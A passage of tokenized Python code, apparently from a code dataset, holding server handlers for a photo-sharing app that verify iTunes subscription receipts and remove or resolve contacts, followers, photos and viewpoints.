"followers", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "num", "\\u", "activities_", ",_", "num", "\\u", "episodes_", ",_", "num", "\\u", "comments_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "'", "view", "points", "'_", ":_", "response", "\\u", "vp", "\\u", "dicts_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Record", "Subscription_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ",_", "callback_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Record", "s", " ", "an", " ", "external", " ", "subscript", "ion", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "On", "Record_", "(_", "verify", "\\u", "response_", ",_", "op_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "callback_", "(_", "{_", "'", "subscript", "ion", "'_", ":_", "Subscription_", "._", "Creat", "e", "Fro", "m", "IT", "une", "s_", "(_", "user", "\\u", "id_", ",_", "verify", "\\u", "response_", ")_", "._", "Make", "Meta", "data", "Dict_", "(_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "On", "Verify", "_", "(_", "environment_", ",_", "verify", "\\u", "response_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "environment_", "==_", "'", "prod", "'_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "verify", "\\u", "response_", "._", "Get", "Status_", "(_", ")_", "==_", "Verify", "Response_", "._", "SAN", "DB", "OX", "\\u", "ON", "\\u", "PROD", "\\u", "ERROR_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "IT", "une", "s", "Stor", "e", "Client_", "._", "Instance_", "(_", "'", "dev", "'_", ")_", "._", "Verify", "Recei", "pt_", "(_", "receipt", "\\u", "data_", ",_", "partial_", "(_", "\\u", "On", "Verify", "_", ",_", "'", "dev", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "verify", "\\u", "response_", "._", "Is", "Valid_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logging_", "._", "warning_", "(_", "'", "record", "\\u", "subscript", "ion", ":", " ", "invalid", " ", "signa", "ture", ";", " ", "request", ":", " ", "%", "r", "'_", ",_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "web_", "._", "HTTP", "Error_", "(_", "400_", ",_", "'", "invalid", " ", "receipt", " ", "signa", "ture", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "environment_", "==_", "'", "prod", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "op", "\\u", "request_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "request_", "[_", "'", "header", "s", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "user", "\\u", "id", "'_", ":_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verify", "\\u", "response", "\\u", "str", "'_", ":_", "verify", "\\u", "response_", "._", "To", "String_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Operation_", "._", "Creat", "e", "And", "Execute_", "(_", "client_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Subscription", ".", "Record", "IT", "une", "s", "Transa", "ction", "Opera", "tion", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "op", "\\u", "request_", ",_", "partial_", "(_", "\\u", "On", "Record_", ",_", "verify", "\\u", "response_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Accept", " ", "sand", "box", " ", "receipt", "s", ",", " ", "but", " ", "do", " ", "not", " ", "record", " ", "them", ".", " ", " ", "Thi", "s", " ", "is", " ", "required_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "for", " ", "app", " ", "store", " ", "approval", " ", "(", "reviewer", "s", " ", "will", " ", "atte", "mpt", " ", "to", " ", "subscribe", " ", "with_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "sand", "box", " ", "account", "s", " ", "and", " ", "we", " ", "must", " ", "not", " ", "return", " ", "an", " ", "error", ").", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "callback_", "(_", "{_", "'", "subscript", "ion", "'_", ":_", "Subscription_", "._", "Creat", "e", "Fro", "m", "IT", "une", "s_", "(_", "user", "\\u", "id_", ",_", "verify", "\\u", "response_", ")_", "._", "Make", "Meta", "data", "Dict_", "(_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "receipt", "\\u", "data_", "=_", "base64_", "._", "b64decode_", "(_", "request_", "[_", "'", "receipt", "\\u", "data", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "must", " ", "support", " ", "bot", "h", " ", "prod", " ", "and", " ", "sand", "box", " ", "itu", "nes", " ", "instance", "s", ":", " ", " ", "Even", " ", "release_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "builds", " ", "will", " ", "use", " ", "the", " ", "sand", "box", " ", "whe", "n", " ", "the", " ", "app", " ", "is", " ", "under", " ", "review", ".", " ", " ", "There", " ", "is", " ", "no_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "(", "support", "ed", ")", " ", "way", " ", "for", " ", "an", " ", "app", " ", "to", " ", "know", " ", "whe", "ther", " ", "a", " ", "receipt", " ", "is", " ", "from", " ", "a", " ", "prod_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "or", " ", "sand", "box", " ", "purchase", " ", "unti", "l", " ", "we", " ", "atte", "mpt", " ", "to", " ", "verify", " ", "the", " ", "signa", "ture", ".", " ", " ", "Apple", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "recommend", "s", " ", "alw", "ay", "s", " ", "try", "ing", " ", "prod", " ", "first", ",", " ", "and", " ", "falling", " ", "back", " ", "to", " ", "sandbox_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "upo", "n", " ", "receiv", "ing", " ", "an", " ", "appropr", "iate", " ", "error", " ", "code", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "https", "://", "developer", ".", "apple", ".", "com", "/", "librar", "y", "/", "ios", "/", "#", "techn", "otes", "/", "tn", "225", "9", "/\\u", "index", ".", "html", "#", "//", "apple", "\\u", "ref", "/", "doc", "/", "uid", "/", "DT", "S4", "0009", "578", "-", "CH", "1", "-", "FREQ", "UE", "NT", "LY", "\\u", "ASK", "ED", "\\u", "QUESTION", "S_", "\\u\\u\\uNL\\u\\u\\u_", "IT", "une", "s", "Stor", "e", "Client_", "._", "Instance_", "(_", "'", "prod", "'_", ")_", "._", "Verify", "Recei", "pt_", "(_", "receipt", "\\u", "data_", ",_", "partial_", "(_", "\\u", "On", "Verify", "_", ",_", "'", "prod", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Remove", "Conta", "cts_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Remove", " ", "contact", "s", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Remove", "Conta", "ct", "s", "Opera", "tion", ".", "Execut", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "REMOVE", " ", "CONTACT", "S", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "contact", "\\u", "count", ":", " ", "%", "d", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "len_", "(_", "request_", "[_", "'", "contact", "s", "'_", "]_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Remove", "Followe", "rs_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Remove", " ", "followers", " ", "of", " ", "an", " ", "exist", "ing", " ", "view", "point", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "Activity_", "._", "Verify", "Activ", "it", "y", "Id_", "(_", "client_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", "[_", "'", "activit", "y", "'_", "]_", "[_", "'", "activit", "y", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Remove", "Followe", "rs", "Opera", "tion", ".", "Execut", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "REMOVE", " ", "FOL", "LOWER", "S", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "%", "d", " ", "followers", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "len_", "(_", "request_", "[_", "'", "remove", "\\u", "ids", "'_", "]_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Remove", "Photos", "_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Remove", "s", " ", "photo", "s", " ", "from", " ", "a", " ", "user", "'", "s", " ", "persona", "l", " ", "librar", "y", ".", " ", "To", " ", "be", " ", "more", " ", "precise", ",", " ", "*", "posts", "*", " ", "are", " ", "marked", " ", "as", "\\", "10", ";", " ", " ", "remove", "d", ".", " ", "Thi", "s", " ", "means", " ", "tha", "t", " ", "if", " ", "a", " ", "photo", " ", "has", " ", "bee", "n", " ", "uploade", "d", " ", "or", " ", "saved", " ", "to", " ", "the", " ", "librar", "y", " ", "multiple", " ", "times", ",", "\\", "10", ";", " ", " ", "every", " ", "instance", " ", "of", " ", "tha", "t", " ", "photo", " ", "(", "i", ".", "e", ".", " ", "post", ")", " ", "shou", "ld", " ", "be", " ", "marked", " ", "as", " ", "remove", "d", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Remove", "Photos", "Opera", "tion", ".", "Execut", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "num", "\\u", "photos_", "=_", "sum_", "(_", "len_", "(_", "ep", "\\u", "dict_", "[_", "'", "photo", "\\u", "ids", "'_", "]_", ")_", "for_", "ep", "\\u", "dict_", "in_", "request_", "[_", "'", "episode", "s", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "REMOVE", " ", "PHOTO", "S", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "%", "d", " ", "photo", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "num", "\\u", "photos_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Remove", "View", "point_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Remove", " ", "a", " ", "view", "point", " ", "from", " ", "a", " ", "user", "'", "s", " ", "inbox", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "view", "point", "\\u", "id_", "=_", "request_", "[_", "'", "view", "point", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "tha", "t", " ", "the", " ", "user", " ", "isn", "'", "t", " ", "try", "ing", " ", "to", " ", "remove", " ", "thei", "r", " ", "default", " ", "view", "point", ".", " ", " ", "We", " ", "do", " ", "it", " ", "here_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "bec", "aus", "e", " ", "it", " ", "save", "s", " ", "us", " ", "a", " ", "query", " ", "for", " ", "user", " ", "dur", "ing", " ", "the", " ", "operati", "on", " ", "and", " ", "the", " ", "default", " ", "view", "point", " ", "id_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "can", "'", "t", " ", "change", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "base_", "._", "View", "finde", "r", "Context_", "._", "current_", "(_", ")_", "._", "user_", "._", "private", "\\u", "vp", "\\u", "id_", "==_", "view", "point", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Permi", "ssion", "Error_", "(_", "'", "User", " ", "is", " ", "not", " ", "allow", "ed", " ", "to", " ", "remove", " ", "thei", "r", " ", "default", " ", "view", "point", ":", " ", "%", "s", "'_", "%_", "view", "point", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "client_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "'", "Remove", "View", "point", "Opera", "tion", ".", "Execut", "e", "'_", ",_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "REMOVE", " ", "VIEW", "POINT", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "view", "point", ":", " ", "%", "s", "'_", "%_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "view", "point", "\\u", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Resolv", "e", "Conta", "cts_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Resolv", "es", " ", "contact", " ", "identities", " ", "to", " ", "user", " ", "ids", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ident", "\\u", "tasks_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ident_", "in_", "request_", "[_", "'", "identities", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Validate", " ", "identi", "ty", " ", "key", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Identity_", "._", "Validate", "Key_", "(_", "ident_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "ident_", "._", "startswith_", "(_", "(_", "'", "Ema", "il", ":'_", ",_", "'", "Phone", ":'_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "On", "ly", " ", "allow", " ", "email", " ", "addresse", "s", " ", "and", " ", "phone", " ", "numbers", " ", "to", " ", "be", " ", "resolve", "d", " ", "through", " ", "this", " ", "interface", ".", " ", " ", "Other_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "identi", "ty", " ", "types", " ", "(", "e", ".", "g", ".", " ", "Face", "book", "Graph", ")", " ", "are", " ", "dens", "er", " ", "and", " ", "coul", "d", " ", "be", " ", "exhaust", "ively", " ", "enumerate", "d", ",", " ", "and_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "there", " ", "is", " ", "litt", "le", " ", "use", " ", "in", " ", "allow", "ing", " ", "users", " ", "to", " ", "enter", " ", "them", " ", "direct", "ly", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ident", "\\u", "tasks_", "._", "append_", "(_", "gen_", "._", "Task_", "(_", "Identity_", "._", "Query_", ",_", "client_", ",_", "ident_", ",_", "None_", ",_", "must", "\\u", "exist_", "=_", "False_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ident", "\\u", "tasks_", "._", "append_", "(_", "util_", "._", "Gen", "Constant_", "(_", "None_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ident", "\\u", "results_", "=_", "yield_", "ident", "\\u", "tasks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "tasks_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ident_", "in_", "ident", "\\u", "results_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "ident_", "is_", "not_", "None_", "and_", "ident_", "._", "user", "\\u", "id_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "\\u", "tasks_", "._", "append_", "(_", "gen_", "._", "Task_", "(_", "User_", "._", "Query_", ",_", "client_", ",_", "ident_", "._", "user", "\\u", "id_", ",_", "None_", ",_", "must", "\\u", "exist_", "=_", "False_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "\\u", "tasks_", "._", "append_", "(_", "util_", "._", "Gen", "Constant_", "(_", "None_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "user", "\\u", "results_", "=_", "yield_", "user", "\\u", "tasks_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "request", "\\u", "ident_", ",_", "ident_", ",_", "user_", "in_", "zip_", "(_", "request_", "[_", "'", "identities", "'_", "]_", ",_", "ident", "\\u", "results_", ",_", "user", "\\u", "results_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result", "\\u", "contact_", "=_", "{_", "'", "identi", "ty", "'_", ":_", "request", "\\u", "ident_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "user_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "ident_", "is_", "not_", "None_", "and_", "user_", "._", "user", "\\u", "id_", "==_", "ident_", "._", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "ident_", "._", "key_", "==_", "request", "\\u", "ident_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result", "\\u", "contact_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "ident_", "._", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "util_", "._", "Set", "If", "Not", "None_", "(_", "result", "\\u", "contact_", ",_", "'", "name", "'_", ",_", "user_", "._", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "util_", "._", "Set", "If", "Not", "None_", "(_", "result", "\\u", "contact_", ",_", "'", "give", "n", "\\u", "name", "'_", ",_", "user_", "._", "give", "n", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "util_", "._", "Set", "If", "Not", "None_", "(_", "result", "\\u", "contact_", ",_", "'", "famil", "y", "\\u", "name", "'_", ",_", "user_", "._", "famil", "y", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result", "\\u", "contact_", "[_", "'", "labels", "'_", "]_", "=_", "user_", "._", "Make", "Label", "List_", "(_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "._", "append_", "(_", "result", "\\u", "contact_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "'", "contact", "s", "'_", ":_", "results_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Save", "Photos", "_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Save", "s", " ", "photo", "s", " ", "from", " ", "exist", "ing", " ", "episode", "s", " ", "to", " ", "new", " ", "episode", "s", " ", "in", " ", "the", " ", "current", " ", "user", "'", "s", " ", "default", "\\", "10", ";", " ", " ", "view", "point", ".", " ", "Thi", "s", " ", "is", " ", "used", " ", "to", " ", "implement", " ", "the", " ", "\"", "save", " ", "photo", "s", " ", "to", " ", "librar", "y", "\"", " ", "functional", "it", "y", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "yield_", "Activity_", "._", "Verify", "Activ", "it", "y", "Id_", "(_", "client_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", "[_", "'", "activit", "y", "'_", "]_", "[_", "'", "activit", "y", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "vp", "\\u", "ids_", "=_", "request_", "._", "get_", "(_", "'", "view", "point", "\\u", "ids", "'_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ep", "\\u", "dicts_", "=_", "request_", "._", "get_", "(_", "'", "episode", "s", "'_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "photos_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ep", "\\u", "dict_", "in_", "ep", "\\u", "dicts_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "Episode_", "._", "Verify", "Episod", "e", "Id_", "(_", "client_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "ep", "\\u", "dict_", "[_", "'", "new", "\\u", "episode", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "photos_", "+=_", "len_", "(_", "ep", "\\u", "dict_", "[_", "'", "photo", "\\u", "ids", 